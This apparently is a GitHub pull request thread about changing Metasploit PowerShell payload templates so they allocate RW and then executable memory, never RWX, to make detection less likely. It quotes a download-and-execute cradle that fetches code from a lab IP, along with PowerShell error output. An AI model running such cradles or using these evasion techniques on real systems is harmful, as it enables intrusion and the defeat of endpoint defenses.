Closed sempervictus closed 3 years ago
So i cant actually find a flag for PSH to run sans JIT, so at least for now, we would expect RWX allocations in the PSH process itself. However, if spawning hollow threads in separate target processes (dont think thats included upstream as its basically double-staging), this ought to raise fewer eyebrows.
Using Powershell v5.1 on a Windows 10 host, I get the following exception with the reflection template. The other one appears to work just fine on Windows 7 and Windows 10 and the reflection one is working on Windows 7. Taking a closer look to see if I can suggest a change that will fix the compatibility.
IEX ((new-object Net.WebClient).DownloadString('http://192.168.159.128:8080/XnF9PI4cYgDW'));
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:5 char:16
+ ... return $gRQ1.GetMethod('GetProcAddress').Invoke($null, @([System ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : AmbiguousMatchException
Cannot find an overload for "GetDelegateForFunctionPointer" and the argument count: "2".
At line:23 char:1
+ $r6w = [System.Runtime.InteropServices.Marshal]::GetDelegateForFuncti ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodCountCouldNotFindBest
Cannot find an overload for "Copy" and the argument count: "4".
At line:25 char:1
+ [System.Runtime.InteropServices.Marshal]::Copy($lUPR, 0, $r6w, $lUPR. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodCountCouldNotFindBest
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:5 char:16
+ ... return $gRQ1.GetMethod('GetProcAddress').Invoke($null, @([System ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : AmbiguousMatchException
Cannot find an overload for "GetDelegateForFunctionPointer" and the argument count: "2".
At line:26 char:5
+ if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunction ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodCountCouldNotFindBest
The IEX statement here is extracted from the web_delivery module were the method was specifically set to reflection.
With the proposed change in place I was able to successfully test both templates on both Windows 7 and Windows 10 using Powershell version 2 and 5.1 respectively.
This updates two Powershell templates to use a combination of RW and then executable memory but never RWX. This behavior is less likely to be detected as suspicious.
RWX memory regions are suspicious to defensive mechanisms - especially in processes without a JIT. Convert the .NET and reflection payloads to respect memory permissions by writing into non-executable memory regions, then setting them to be non-writable but executable. This code has been around for some time in the SVIT private fork, "has seen field use" in terms of testing. However, as always with this sort of export to upstream, needs to be properly tested because i may not have exported every dependency.
Since @adfoster-r7 was kind enough to help me debug zeitwerk related nightmares, this is a small "thank you" commit for taking the time and effort to reach out and assist in debugging the forked dependency mess.
Ping @smcintyre-r7 on review - pretty sure this overwrote at least one of your changes.